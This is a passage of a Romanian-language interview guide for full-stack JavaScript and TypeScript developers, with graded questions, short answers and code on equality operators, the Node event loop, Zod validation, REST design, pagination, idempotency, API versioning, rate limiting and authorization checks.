Ce urmărește intervievatorul: Se verifică dacă înțelegi ce oferă TypeScript și ce nu. Greșeala tipică este să crezi că tipurile validează datele care vin de la API.

19 Junior

Ce înseamnă == față de === și ce afișează expresiile de mai jos?

JavaScript
console.log(0 == '0', 0 === '0', null == undefined, [] == false, NaN === NaN);

Răspuns scurt: Afișează true false true true false. Operatorul == face conversii de tip înainte de comparare, iar === compară fără conversii, deci tipul trebuie să fie același. NaN nu este egal cu nimic, nici cu el însuși.

=== (egalitate strictă) întoarce true doar dacă valorile au același tip și aceeași valoare. == (egalitate laxă) aplică regulile de conversie din specificație, care produc rezultate surprinzătoare:

  • 0 == '0': stringul e convertit în număr, 0 == 0, deci true.
  • 0 === '0': tipuri diferite, false.
  • null == undefined: regulă specială, true. Este singurul caz în care multe ghiduri de stil acceptă ==, ca prescurtare pentru „e null sau undefined”.
  • [] == false: false devine 0, array-ul gol devine '' și apoi 0, deci true. Totuși if ([]) intră pe ramură, pentru că orice obiect este truthy.
  • NaN === NaN: false. Pentru verificare folosești Number.isNaN(x).

De ce contează în codul full-stack: datele trec printr-un strat care schimbă tipurile. Query params și valorile din formulare sunt mereu stringuri, JSON-ul poate aduce null, iar unele drivere de baze de date întorc numere mari (BIGINT, NUMERIC) ca stringuri. Codul if (req.query.page == 1) merge din noroc, iar if (user.id === req.params.id) eșuează mereu, pentru că compară un număr cu un string.

Regula practică: folosește ===, convertește explicit la graniță (Number(req.query.page)), validează cu o schemă și activează regula eqeqeq din ESLint.

Ce urmărește intervievatorul: Întrebarea verifică atenția la conversiile de tip, care produc bug-uri reale între client și server. Greșeala tipică este compararea unui id numeric cu unul venit ca string din URL.

20 Mid

Prin ce diferă event loop-ul din Node.js de cel din browser și ce rulează, de fapt, în paralel în Node?

Răspuns scurt: Ambele au un singur fir pentru JavaScript, dar Node folosește libuv, cu faze (timers, poll, check) și un thread pool pentru operații precum citirea fișierelor, DNS sau crypto. Browserul își intercalează bucla cu randarea paginii.

În browser, event loop-ul alternează între taskuri (evenimente, timere, răspunsuri de rețea), microtaskuri și pașii de randare (requestAnimationFrame, layout, paint). Un task lung amână randarea, iar pagina pare înghețată.

În Node.js, bucla este implementată de libuv și trece prin faze:

  • timers: callback-urile din setTimeout și setInterval;
  • poll: așteaptă și procesează evenimentele de I/O (socketuri, răspunsuri);
  • check: callback-urile din setImmediate;
  • close callbacks.

Între faze, Node golește coada process.nextTick și apoi microtaskurile promisiunilor.

Ce rulează în paralel? Codul tău JavaScript, nu. Dar:

  • I/O de rețea este neblocant la nivelul sistemului de operare (epoll, kqueue), deci mii de conexiuni pot aștepta simultan;
  • operațiile fără variantă asincronă la nivel de OS (o parte din fs, dns.lookup, crypto.pbkdf2, zlib) rulează în thread pool-ul libuv, implicit 4 fire, configurabil prin UV_THREADPOOL_SIZE.

Consecință practică: dacă hash-uiești parole cu bcrypt sau scrypt sub trafic mare, poți satura cele 4 fire și încetini și citirile de fișiere. Pentru calcul intens în JavaScript folosești worker_threads sau muți munca într-un job separat.

JavaScript
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));
// ordinea poate varia în scriptul principal,
// dar într-un callback de I/O, immediate rulează primul

Ce urmărește intervievatorul: Intervievatorul verifică dacă înțelegi de ce Node scalează bine pentru I/O și prost pentru calcul. Greșeala tipică este să afirmi că Node „e single-threaded, deci nu are deloc fire”.

21 Mid

Cum partajezi tipurile și validările între frontend și backend ca să nu le scrii de două ori?

Răspuns scurt: Trei variante frecvente: un monorepo cu un pachet comun (de exemplu packages/shared) care exportă scheme Zod și tipuri deduse din ele; generarea tipurilor din specificația OpenAPI; sau un RPC tipizat end-to-end precum tRPC.

Problema: backendul are un tip Order, frontendul are propria copie, iar după câteva luni cele două diferă în tăcere.

1. Pachet comun într-un monorepo (npm/pnpm workspaces, Turborepo, Nx):

TypeScript
// packages/shared/src/order.ts
import { z } from 'zod';
export const CreateOrder = z.object({
  productId: z.number().int().positive(),
  quantity: z.number().int().min(1).max(10)
});
export type CreateOrder = z.infer<typeof CreateOrder>;

Backendul folosește schema pentru validarea req.body, frontendul o folosește pentru validarea formularului și pentru tipizarea apelului. O singură sursă de adevăr, la runtime și la compilare.

2. Contract-first cu OpenAPI: descrii API-ul într-un fișier YAML sau îl generezi din cod, apoi folosești un generator (de exemplu openapi-typescript) care produce tipurile clientului. Bun când consumatorii nu sunt în același repo sau nu sunt scriși în TypeScript, de exemplu o aplicație mobilă nativă.

3. tRPC sau soluții similare: frontendul importă tipul routerului de pe server și apelează procedurile ca pe funcții, cu tipuri deduse automat. Foarte productiv când ambele capete sunt TypeScript și echipa e aceeași, dar te leagă de stack.

Atenție să nu importi accidental cod de server (conexiuni la DB, secrete) în bundle-ul de frontend: pachetul comun trebuie să conțină doar cod pur, fără dependențe de Node.

Ce urmărește intervievatorul: Se verifică experiența cu proiecte reale, în care contractul API se strică. Un răspuns bun compară variantele, nu recomandă una singură pentru orice situație.

22 Mid

Folosești TypeScript strict pe backend. De ce mai trebuie să validezi req.body la runtime?

Răspuns scurt: Tipurile TypeScript sunt șterse la compilare și nu verifică nimic din ce vine prin rețea. Un client poate trimite orice JSON, iar o adnotare ca req.body as User doar îi spune compilatorului să aibă încredere, fără nicio verificare.

Codul de mai jos compilează fără nicio eroare:

TypeScript
app.post('/api/users', (req, res) => {
  const user = req.body as { email: string; age: number };
  // dacă clientul trimite { "age": "abc" }, nimeni nu oprește asta
});

as este o aserțiune, nu o conversie și nici o validare. La runtime, user.age poate fi string, null sau poate lipsi. Datele din afara procesului tău sunt întotdeauna unknown: corpul cererilor, query params, răspunsurile altor API-uri, variabilele de mediu, chiar și rândurile din baza de date dacă schema s-a schimbat.

Soluția este să validezi la granița sistemului cu o bibliotecă de scheme (Zod, Valibot, Yup, AJV pe JSON Schema) și să obții tipul din schemă:

TypeScript
import { z } from 'zod';
const NewUser = z.object({
  email: z.string().email(),
  age: z.coerce.number().int().min(16)
});

app.post('/api/users', (req, res) => {
  const parsed = NewUser.safeParse(req.body);
  if (!parsed.success) {
    return res.status(422).json({ errors: parsed.error.flatten().fieldErrors });
  }
  const user = parsed.data; // tip corect și date verificate
});

Validarea de pe frontend este pentru experiența utilizatorului; cea de pe backend este pentru corectitudine și securitate, pentru că oricine poate ocoli interfața și trimite cereri direct la API.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă că știi unde se termină garanțiile compilatorului. Greșeala tipică este încrederea în „as” sau în validarea făcută doar în formularul React.

23 Senior

Scrie o funcție fetchJson care aplică un timeout, reîncearcă de câteva ori cu backoff exponențial și poate fi anulată din exterior.

Răspuns scurt: Folosești AbortController pentru timeout și anulare, reîncerci doar erorile temporare (rețea, 5xx, 429), aștepți tot mai mult între încercări, cu jitter, și nu reîncerci niciodată după o anulare cerută de utilizator sau după o eroare 4xx.

JavaScript
async function fetchJson(url, { retries = 3, timeoutMs = 5000, signal, ...init } = {}) {
  for (let attempt = 0; ; attempt++) {
    const timeout = AbortSignal.timeout(timeoutMs);
    const combined = signal ? AbortSignal.any([signal, timeout]) : timeout;
    try {
      const res = await fetch(url, { ...init, signal: combined });
      if (res.ok) return await res.json();
      const retriable = res.status >= 500 || res.status === 429;
      if (!retriable || attempt >= retries) {
        throw new Error('HTTP ' + res.status);
      }
    } catch (err) {
      if (signal?.aborted) throw err; // anulat de apelant
      if (attempt >= retries || err.message.startsWith('HTTP')) throw err;
    }
    const delay = Math.min(1000 * 2 ** attempt, 8000) * (0.5 + Math.random() / 2);
    await new Promise((r) => setTimeout(r, delay));
  }
}

Decizii pe care merită să le explici:

  • AbortSignal.timeout și AbortSignal.any există în browserele moderne și în Node 20 sau mai nou; pe versiuni mai vechi le implementezi cu un AbortController și setTimeout.
  • Ce reîncerci: erorile de rețea, timeouturile, 5xx și 429. Un 400 sau 404 va eșua identic la fiecare încercare.
  • Backoff exponențial cu jitter: dacă un server cade și o mie de clienți reîncearcă exact la aceleași intervale, îl dărâmă din nou când revine. Componenta aleatoare împrăștie cererile. La 429 poți respecta headerul Retry-After.
  • Idempotența: reîncercarea automată e sigură pentru GET; pentru POST ai nevoie de o cheie de idempotență, altfel riști comenzi duble.
  • În React, transmiți signal dintr-un AbortController creat în useEffect și apelezi abort() în cleanup.

Ce urmărește intervievatorul: Se verifică scrierea de cod robust de rețea și judecata despre ce e sigur de reîncercat. Răspunsurile slabe reîncearcă orice eroare, inclusiv POST-uri și erori 4xx.

Design de API

24 Junior

Ce este un API REST și care sunt principiile lui de bază?

Răspuns scurt: REST este un stil de proiectare a API-urilor în care expui resurse identificate prin URL-uri și le manipulezi cu metodele HTTP standard. Serverul nu păstrează starea conversației între cereri, iar răspunsurile își declară singure dacă pot fi puse în cache.

REST (Representational State Transfer) nu este un protocol sau o bibliotecă, ci un set de constrângeri. Cele care contează în practică:

  • Resurse: lucrezi cu substantive (/products, /orders/15), nu cu verbe (/getProducts).
  • Interfață uniformă: aceeași semantică peste tot. GET citește, POST creează, PUT/PATCH modifică, DELETE șterge, iar codurile de status au sensul standard.
  • Stateless: fiecare cerere conține tot ce trebuie ca să fie înțeleasă (inclusiv autentificarea, prin cookie sau token). Serverul nu ține minte „unde a rămas” clientul, ceea ce face ușoară scalarea pe mai multe instanțe.
  • Cacheable: răspunsurile spun prin headere dacă pot fi păstrate.
  • Client-server: frontendul și backendul evoluează independent, legate doar prin contract.
  • Reprezentări: resursa poate fi livrată ca JSON, XML etc., după headerul Accept.
GET    /api/products          lista
GET    /api/products/7        un produs
POST   /api/products          creează
PATCH  /api/products/7        modifică parțial
DELETE /api/products/7        șterge

Multe API-uri numite REST sunt de fapt „JSON peste HTTP” și ignoră HATEOAS (linkuri în răspuns către acțiunile posibile), parte din definiția originală a lui Roy Fielding. E în regulă să spui asta la interviu: în industrie, REST înseamnă de obicei resurse, metode corecte și coduri de status corecte.

Ce urmărește intervievatorul: Intervievatorul verifică dacă știi principiile, nu doar că „REST folosește JSON”. Greșeala tipică este să descrii endpointuri bazate pe verbe sau să ignori caracterul stateless.

25 Junior

Cum ai denumi endpointurile pentru un magazin online cu utilizatori, produse și comenzi?

Răspuns scurt: Folosești substantive la plural pentru colecții, id-uri în path pentru elemente și imbricare doar pentru relații clare de apartenență: /products, /products/42, /users/7/orders. Acțiunile le exprimi prin metode HTTP, iar filtrele prin query params.

O schemă coerentă:

GET    /api/products?category=laptop&sort=-price&page=2
GET    /api/products/42
POST   /api/products               (doar admin)
PATCH  /api/products/42
DELETE /api/products/42

GET    /api/users/me               profilul utilizatorului curent
GET    /api/users/me/orders        comenzile mele
POST   /api/orders                 plasează o comandă
GET    /api/orders/1001
POST   /api/orders/1001/cancel     acțiune care nu e simplu CRUD

Reguli de urmat:

  • plural și litere mici, cu cratimă pentru cuvinte compuse (/order-items);
  • fără verbe în URL pentru CRUD: nu /getProduct, nu /deleteOrder;
  • imbricare de cel mult un nivel: /users/7/orders e clar, /users/7/orders/1001/items/3/reviews devine greu de întreținut. Odată ce ai id-ul unei comenzi, /orders/1001 ajunge;
  • /me pentru resursa utilizatorului autentificat, ca frontendul să nu trimită id-ul propriu (și ca să nu încurajezi accesul la /users/8 doar prin schimbarea numărului);
  • acțiuni de business (anulare, retrimitere factură) pot fi modelate ca sub-resursă cu POST, o abatere pragmatică acceptată de REST;
  • consistență: aceleași nume de câmpuri (createdAt, nu uneori created_at), același format de paginare și de erori peste tot.

Un prefix de versiune (/api/v1) sau un header de versiune se decide de la început, pentru că e greu de introdus ulterior.

Ce urmărește intervievatorul: Se verifică simțul pentru un API clar și consecvent, pe care un coleg de frontend îl poate folosi fără documentație. Greșelile frecvente sunt verbele în URL și imbricarea excesivă.

26 Junior

Când folosești PUT și când PATCH pentru a actualiza o resursă?

Răspuns scurt: PUT înlocuiește resursa în întregime cu ce trimiți, deci câmpurile omise pot fi resetate; e idempotent. PATCH trimite doar câmpurile care se schimbă, ceea ce se potrivește cu majoritatea formularelor de editare din aplicații.

Să zicem că avem produsul:

JSON
{ "id": 42, "name": "Mouse", "price": 99, "stock": 10 }

Cu PUT, clientul trimite reprezentarea completă:

PUT /api/products/42
{ "name": "Mouse wireless", "price": 109, "stock": 10 }

Dacă omite stock, un server care respectă semantica ar trebui să-l considere absent, fie respingând cererea, fie setându-l la valoarea implicită. Avantajul: cererea e idempotentă și ușor de reîncercat.

Cu PATCH, clientul trimite doar diferența:

PATCH /api/products/42
{ "price": 109 }

Pe server faci actualizarea doar pentru câmpurile prezente:

JavaScript
const allowed = ['name', 'price', 'stock'];
const changes = Object.fromEntries(
  Object.entries(req.body).filter(([k]) => allowed.includes(k))
);

Lista de câmpuri permise este importantă: fără ea, un utilizator ar putea trimite { "role": "admin" } la PATCH /users/me și ar putea modifica un câmp pe care nu ar trebui să-l atingă (problema numită mass assignment).

Diferența dintre absent și null contează la PATCH: { "discount": null } înseamnă de obicei „șterge reducerea”, iar lipsa cheii înseamnă „nu schimba”. Există și formate standard, JSON Merge Patch (RFC 7396) și JSON Patch (RFC 6902), dar majoritatea aplicațiilor folosesc varianta simplă, cu obiect parțial. În practică, PATCH e alegerea obișnuită pentru formularele de editare.

Ce urmărește intervievatorul: Intervievatorul verifică dacă știi semantica, nu doar că ambele „fac update”. Un candidat bun pomenește mass assignment și diferența dintre câmp absent și null.

27 Junior

Scrie un endpoint Express care creează un produs și răspunde corect atât la succes, cât și la date invalide.

Răspuns scurt: Parsezi JSON-ul cu express.json(), validezi corpul, întorci 422 cu erorile pe câmpuri dacă datele sunt invalide, iar la succes salvezi și răspunzi cu 201, headerul Location și produsul creat. Erorile neprevăzute ajung la un middleware de erori.

JavaScript
import express from 'express';
import { z } from 'zod';

const app = express();
app.use(express.json({ limit: '100kb' }));

const ProductInput = z.object({
  name: z.string().trim().min(2).max(100),
  price: z.number().positive(),
  stock: z.number().int().min(0).default(0)
});

app.post('/api/products', async (req, res, next) => {
  const parsed = ProductInput.safeParse(req.body);
  if (!parsed.success) {
    return res.status(422).json({
      error: 'validation_failed',
      fields: parsed.error.flatten().fieldErrors
    });
  }
  try {
    const product = await db.products.insert(parsed.data);
    res.status(201).location('/api/products/' + product.id).json(product);
  } catch (err) {
    next(err);
  }
});

app.use((err, req, res, next) => {
  console.error(err);
  res.status(500).json({ error: 'internal_error' });
});

Ce ar trebui să observe intervievatorul:

  • limită pentru corp (limit), ca nimeni să nu trimită un JSON de sute de megaocteți;
  • validare înainte de orice acces la DB, iar în bază ajunge doar parsed.data, nu req.body brut, deci câmpurile nedorite sunt eliminate;
  • coduri de status corecte: 201 și Location la creare, 422 sau 400 la validare;
  • erori interne ascunse: clientul primește un mesaj generic, iar detaliile (stack trace, mesajul SQL) ajung doar în loguri;
  • next(err) este necesar în Express 4 pentru erorile din funcții async.

Într-o aplicație reală, endpointul ar fi protejat de un middleware de autentificare și de verificarea rolului de admin.

Ce urmărește intervievatorul: Este un exercițiu de bază care arată cum scrii cod de backend pe care se poate baza frontendul. Candidații uită des validarea, codul 201 sau trimit utilizatorului mesajul brut al erorii.

28 Junior

Cum ar trebui să arate erorile întoarse de un API, ca frontendul să le poată afișa ușor?

Răspuns scurt: Folosești același format JSON pentru toate erorile, cu status HTTP corect, un cod stabil de eroare pentru program, un mesaj pentru om și, la validare, erorile pe fiecare câmp. Nu expui niciodată stack trace-ul sau detalii interne.

Frontendul are trei nevoi: să știe dacă e o eroare (din status), să reacționeze programatic (din cod) și să afișeze ceva util (din mesaj și din câmpuri). Un format consistent:

JSON
{
  "error": {
    "code": "validation_failed",
    "message": "Datele trimise nu sunt valide.",
    "fields": {
      "email": ["Adresa de email nu este validă."],
      "password": ["Parola trebuie să aibă cel puțin 8 caractere."]
    },
    "requestId": "c3f1a9e2"
  }
}
  • code e stabil și nu depinde de limbă. Frontendul poate face if (code === 'email_taken') fără să compare texte care se pot schimba sau traduce.
  • fields permite afișarea erorii sub inputul potrivit în formular.
  • requestId apare și în logurile serverului, deci un utilizator care raportează o problemă îți dă direct cheia de căutare.

Există și un standard, Problem Details (RFC 9457, care înlocuiește RFC 7807), cu Content-Type: application/problem+json și câmpurile type, title, status, detail, instance. Merită folosit când API-ul are consumatori externi.

Pe frontend, un singur wrapper peste fetch transformă orice răspuns !res.ok într-un obiect de eroare uniform, iar componentele nu mai interpretează fiecare formatul în felul lor. Pe backend, un singur middleware de erori produce formatul, iar erorile de business (NotFoundError, ConflictError) sunt clase care poartă statusul și codul.

Ce urmărește intervievatorul: Intervievatorul verifică dacă gândești API-ul din perspectiva celui care îl consumă. Greșeala frecventă este să ai formate diferite de la un endpoint la altul sau să expui mesajele interne ale serverului.

29 Mid

Cum implementezi paginarea unei liste mari: offset sau cursor? Care sunt compromisurile?

Răspuns scurt: Offsetul (LIMIT 20 OFFSET 40) e simplu și permite salt la pagina N, dar încetinește pe offseturi mari și poate dubla elemente când datele se schimbă. Cursorul continuă de la ultimul element văzut, e stabil și rapid, bun pentru scroll infinit.

Offset:

SQL
SELECT id, name, created_at FROM products
ORDER BY created_at DESC, id DESC
LIMIT 20 OFFSET 40;

API: GET /api/products?page=3&pageSize=20, răspuns cu items și total. Avantaje: ușor de implementat, interfața poate afișa „pagina 3 din 50”. Dezavantaje: baza de date tot trebuie să parcurgă și să arunce primele 40 de rânduri, deci la offseturi de sute de mii devine lent; iar dacă între două cereri se adaugă un produs nou, ultimul element de pe pagina 2 apare din nou pe pagina 3. Și COUNT(*) pe tabele mari costă.

Cursor (keyset):

SQL
SELECT id, name, created_at FROM products
WHERE (created_at, id) < ($1, $2)
ORDER BY created_at DESC, id DESC
LIMIT 21;

API: GET /api/products?limit=20&after=eyJ0IjoiMjAyNi0xMC0.... Cursorul este de obicei o valoare opacă (de exemplu base64 peste created_at și id), ca clientul să nu depindă de structura lui. Ceri limit + 1 rânduri ca să afli dacă există pagină următoare. Cu un index pe (created_at, id), fiecare pagină e la fel de rapidă. Dezavantaj: nu poți sări direct la pagina 37.

Ordinea trebuie să fie deterministă: dacă sortezi doar după created_at și două rânduri au aceeași valoare, poți pierde elemente; de aceea adaugi id ca al doilea criteriu. Pe frontend, cursorul se potrivește cu useInfiniteQuery din TanStack Query.

Ce urmărește intervievatorul: Se verifică dacă ai lucrat cu volume reale de date și dacă înțelegi cum se reflectă alegerea în SQL și în interfață. Mulți candidați cunosc doar offset și nu știu de ce încetinește.

30 Mid

REST, GraphQL sau tRPC: cum alegi pentru un proiect nou?

Răspuns scurt: REST e universal și ușor de pus în cache. GraphQL lasă clientul să ceară exact câmpurile necesare, util pentru mulți clienți diferiți și date legate. tRPC oferă tipuri end-to-end, dar doar când ambele capete sunt TypeScript.

REST

  • Pro: standard, înțeles de oricine, merge cu orice limbaj, caching HTTP gratuit (GET cu URL stabil), unelte de monitorizare mature.
  • Contra: over-fetching (primești câmpuri inutile) și under-fetching (pentru un ecran faci cinci cereri). Se atenuează cu parametri precum ?fields= sau ?include=, ori cu endpointuri dedicate ecranelor.

GraphQL

  • Pro: un singur endpoint, clientul cere exact forma datelor, schema tipizată e documentație și contract. Bun când ai web, mobil și parteneri cu nevoi diferite peste aceleași date.
  • Contra: caching HTTP mai greu (totul e POST pe /graphql, se rezolvă cu persisted queries), riscul problemei N+1 în resolveri (de unde DataLoader), protecție necesară împotriva query-urilor foarte adânci sau costisitoare, autorizare la nivel de câmp, mai multă infrastructură.

tRPC

  • Pro: zero cod de contract, frontendul apelează procedurile serverului ca pe funcții, cu tipuri și autocomplete; foarte rapid pentru o echipă mică full-stack TypeScript, mai ales în monorepo.
  • Contra: cuplare puternică între client și server, nepotrivit pentru API-uri publice sau pentru clienți în alte limbaje.

Criterii concrete: cine consumă API-ul (doar aplicația noastră sau terți), câte tipuri de clienți există, cât de importante sunt caching-ul și CDN-ul, experiența echipei. Un răspuns matur spune că poți combina, de exemplu REST public pentru parteneri și tRPC intern pentru aplicația web.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă judecată, nu entuziasm pentru o tehnologie. Răspunsurile slabe declară GraphQL „mai modern”, fără să pomenească caching, N+1 sau costul operațional.

31 Mid

Utilizatorul apasă de două ori pe „Plătește” sau rețeaua cade după trimitere. Cum previi o comandă sau o plată dublă?

Răspuns scurt: Pe frontend dezactivezi butonul cât timp cererea e în curs, dar protecția reală e pe backend: clientul trimite o cheie de idempotență unică pentru operație, iar serverul o salvează cu o constrângere de unicitate și întoarce același rezultat la repetări.

Frontendul singur nu poate rezolva problema: dacă răspunsul se pierde pe drum, clientul nu știe dacă operația a avut loc și e firesc să reîncerce. Ai nevoie de o operație idempotentă pe server.

Fluxul:

  • Frontendul generează o cheie (crypto.randomUUID()) când utilizatorul începe acțiunea și o trimite în headerul Idempotency-Key. La reîncercări trimite aceeași cheie.
  • Backendul încearcă să insereze cheia într-un tabel cu constrângere UNIQUE, în aceeași tranzacție cu crearea comenzii.
SQL
CREATE TABLE idempotency_keys (
  key text PRIMARY KEY,
  user_id int NOT NULL,
  response jsonb,
  created_at timestamptz DEFAULT now()
);
JavaScript
const existing = await db.oneOrNone(
  'SELECT response FROM idempotency_keys WHERE key = $1 AND user_id = $2',
  [key, userId]
);
if (existing?.response) return res.status(200).json(existing.response);
// altfel: în tranzacție, INSERT cheie + creare comandă + UPDATE response

Dacă două cereri cu aceeași cheie ajung simultan, constrângerea de unicitate face ca una să eșueze, iar tu răspunzi cu 409 sau aștepți rezultatul primei. Cheile pot fi șterse după un timp (de exemplu 24 de ore).

Procesatorii de plăți precum Stripe acceptă și ei chei de idempotență, deci transmiți cheia mai departe la apelul către ei. Similar, la webhook-uri (procesatorul anunță „plata reușită”), verifici id-ul evenimentului, pentru că pot sosi de mai multe ori.

Ce urmărește intervievatorul: Se verifică dacă te gândești la eșecurile rețelei într-un flux critic. Răspunsul incomplet tipic este „dezactivez butonul”, fără nicio protecție pe server.

32 Mid

Ce este OpenAPI și cum îl folosești într-un proiect full-stack?

Răspuns scurt: OpenAPI este un standard (fișier YAML sau JSON) care descrie endpointurile unui API: căi, metode, parametri, scheme de date, răspunsuri și autentificare. Din el obții documentație interactivă, tipuri și clienți generați pentru frontend și teste de contract.

Un fragment de specificație OpenAPI 3:

YAML
openapi: 3.1.0
info: { title: Shop API, version: 1.0.0 }
paths:
  /products/{id}:
    get:
      parameters:
        - in: path
          name: id
          required: true
          schema: { type: integer }
      responses:
        '200':
          description: Produsul
          content:
            application/json:
              schema: { $ref: '#/components/schemas/Product' }
        '404': { description: Nu există }

Moduri de lucru:

  • Contract-first: echipa scrie întâi specificația, o discută, iar frontendul poate începe imediat lucrul pe un server mock generat din ea (de exemplu cu Prism), în timp ce backendul implementează.
  • Code-first: specificația e generată din cod, de exemplu din schemele Zod (zod-to-openapi), din decoratorii NestJS sau din schemele Fastify. Avantajul e că nu se desincronizează de implementare.

Ce obții concret:

  • documentație interactivă (Swagger UI, Redoc) unde colegii testează endpointurile;
  • tipuri TypeScript sau un client complet pentru frontend și aplicația mobilă (openapi-typescript, orval);
  • validarea automată a cererilor și răspunsurilor pe server;
  • detectarea schimbărilor incompatibile în CI, comparând specificația nouă cu cea veche.

Riscul principal este o specificație scrisă de mână care rămâne în urma codului. De aceea, ori o generezi din cod, ori o verifici automat în teste.

Ce urmărește intervievatorul: Intervievatorul verifică dacă știi cum se coordonează echipele de frontend și backend în jurul unui contract. Greșeala tipică este să vezi OpenAPI doar ca „pagina Swagger”.

33 Senior

Aplicația mobilă nu poate fi actualizată instant de toți utilizatorii. Cum faci schimbări în API fără să strici clienții vechi?

Răspuns scurt: Preferi schimbările compatibile: adaugi câmpuri și endpointuri, nu redenumești și nu ștergi. Pentru schimbări incompatibile introduci o versiune nouă (în URL sau header), le rulezi pe amândouă o perioadă, măsori cine mai folosește versiunea veche și o retragi anunțat.

Pe web poți face deploy la frontend și la backend aproape simultan. Pe mobil, versiunea veche a aplicației poate rula luni de zile, deci API-ul trebuie să o suporte.

Schimbări compatibile (fără versiune nouă):

  • adăugarea unui câmp în răspuns, cu condiția ca clienții să ignore câmpurile necunoscute;
  • adăugarea unui parametru opțional sau a unui endpoint nou;
  • adăugarea unei valori noi într-un enum doar dacă clienții tratează valorile necunoscute (regulă de stabilit de la început).

Schimbări incompatibile: redenumirea sau ștergerea unui câmp, schimbarea tipului, a unui câmp opțional în obligatoriu, a semanticii unui cod de status.

Tehnici:

  • expand și contract: adaugi fullName lângă name, servești ambele, migrezi clienții, apoi elimini name;
  • versionare prin URL (/api/v2/orders, cel mai vizibil), prin header (Accept: application/vnd.shop.v2+json) sau prin versiuni datate (API-Version: 2026-10-01);
  • clientul mobil trimite versiunea lui într-un header, iar serverul poate adapta răspunsul sau poate cere actualizarea forțată sub o versiune minimă;
  • observabilitate: loghezi versiunea fiecărui client și retragi o versiune veche doar când traficul ei e neglijabil, cu headere Deprecation și Sunset;
  • teste de contract (de exemplu Pact) sau compararea automată a specificației OpenAPI în CI.

Esențial: versionarea costă, pentru că fiecare versiune activă trebuie întreținută. Disciplina schimbărilor compatibile reduce cât de des ai nevoie de ea.

Ce urmărește intervievatorul: Se verifică experiența cu sisteme care au clienți pe care nu îi controlezi. Răspunsul slab este „fac v2” la orice schimbare, fără o strategie de compatibilitate și retragere.

34 Senior

Ce este un Backend for Frontend (BFF) și când merită introdus?

Răspuns scurt: Un BFF este un strat de server dedicat unui client (web, mobil) care agregă și adaptează datele din serviciile interne pentru interfață. Merită când ai mai multe servicii sau clienți cu nevoi diferite și vrei compunerea și secretele pe server.

Fără BFF, o pagină de „detalii comandă” poate face cereri separate la serviciile de comenzi, produse, livrare și plăți, apoi combină datele în browser. Asta înseamnă multe cereri, logică de business duplicată pe web și pe mobil și servicii interne expuse public.

Cu un BFF:

Browser -> BFF web (Node) -> serviciu comenzi
                          -> serviciu produse
                          -> serviciu livrare
App mobilă -> BFF mobil  -> aceleași servicii

Ce face BFF-ul:

  • agregare: un singur endpoint /orders/1001/view care întoarce exact forma ecranului;
  • adaptare: câmpuri mai puține pentru mobil, formatarea datelor, traduceri;
  • securitate: ține tokenurile, secretele și cheile spre serviciile interne pe server. Un tipar frecvent este ca browserul să aibă doar un cookie de sesiune HttpOnly, iar BFF-ul să păstreze tokenurile OAuth și să le atașeze cererilor către API-uri;
  • reziliență: timeouturi, fallback-uri și răspunsuri parțiale dacă un serviciu e lent.

Framework-uri precum Next.js, Remix sau Nuxt joacă de fapt rolul de BFF prin rutele de server, server actions și componentele de server.

Când nu merită: ai un singur backend monolit care servește deja ce trebuie, iar un strat în plus ar adăuga latență, cod de întreținut și un punct de eșec. Riscul principal este ca BFF-ul să adune logică de business care ar trebui să stea în servicii, devenind un al doilea backend. Regula: BFF-ul compune și adaptează, nu decide reguli de business. Ideal, îl deține echipa care deține interfața.

Ce urmărește intervievatorul: Intervievatorul verifică gândirea arhitecturală despre granița dintre client și servicii. Greșeala tipică este fie să nu cunoști tiparul, fie să-l introduci peste un singur backend simplu.

35 Senior

Cum ai implementa rate limiting pentru API, de exemplu pentru login și pentru un endpoint costisitor?

Răspuns scurt: Limitezi numărul de cereri per cheie (IP, utilizator, cheie API) într-o fereastră de timp, cu un algoritm precum token bucket sau sliding window, ținând contoarele într-un stocaj comun (Redis) ca limita să funcționeze pe toate instanțele. La depășire răspunzi 429 cu Retry-After.

Rate limiting-ul protejează împotriva atacurilor de ghicire a parolelor, a abuzului și a costurilor necontrolate (de exemplu un endpoint care apelează un model AI plătit).

Algoritmi:

  • fixed window: un contor pe minut; simplu, dar permite dublul limitei la granița dintre minute;
  • sliding window: netezește problema, ținând cont de fereastra anterioară;
  • token bucket: un „bazin” care se reumple constant; permite rafale scurte, dar limitează media. Cel mai flexibil.

Unde: la marginea rețelei (CDN, WAF, Nginx cu limit_req) pentru protecție grosieră pe IP, și în aplicație pentru reguli de business (per utilizator, per plan de abonament).

JavaScript
import rateLimit from 'express-rate-limit';
import { RedisStore } from 'rate-limit-redis';

app.use('/api/auth/login', rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 10,
  standardHeaders: 'draft-7',
  store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) })
}));

Fără store comun, fiecare instanță ține propriul contor, iar cu patru instanțe limita reală devine de patru ori mai mare.

Detalii de proiectare:

  • la login, limitează atât per IP, cât și per cont (un atacator distribuit folosește multe IP-uri pe același cont);
  • în spatele unui proxy, configurează trust proxy ca să citești IP-ul real, altfel toți utilizatorii par să vină de la aceeași adresă;
  • returnează 429 cu Retry-After, iar frontendul afișează un mesaj clar;
  • pentru endpointuri foarte scumpe, combină cu cote zilnice și cu o coadă de joburi.

Ce urmărește intervievatorul: Se verifică gândirea despre abuz și scalare pe mai multe instanțe. Greșeala tipică este un limitator în memoria procesului, care nu funcționează corect după ce scalezi.

Autentificare și securitate

36 Junior

Care e diferența dintre autentificare și autorizare?

Răspuns scurt: Autentificarea răspunde la întrebarea „cine ești?” (login cu parolă, cont Google, token). Autorizarea răspunde la „ce ai voie să faci?” (dacă poți vedea comanda aceasta sau accesa panoul de admin). Autorizarea se face după autentificare, la fiecare cerere.

  • Autentificare (authentication, prescurtat authN): verifici identitatea. Utilizatorul trimite email și parolă, serverul le verifică și emite o dovadă de identitate: un cookie de sesiune sau un token. La cererile următoare, serverul validează această dovadă.
  • Autorizare (authorization, authZ): pe baza identității, decizi dacă acțiunea e permisă. Poate depinde de rol (admin, editor), de proprietate (comanda e a ta) sau de alte atribute (planul de abonament, organizația).

Corespondența cu codurile HTTP: lipsa autentificării dă 401, lipsa permisiunii dă 403.

Într-o aplicație Express, de obicei arată așa:

JavaScript
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  if (!order) return res.sendStatus(404);
  if (order.userId !== req.user.id && req.user.role !== 'admin') {
    return res.sendStatus(403);
  }
  res.json(order);
});

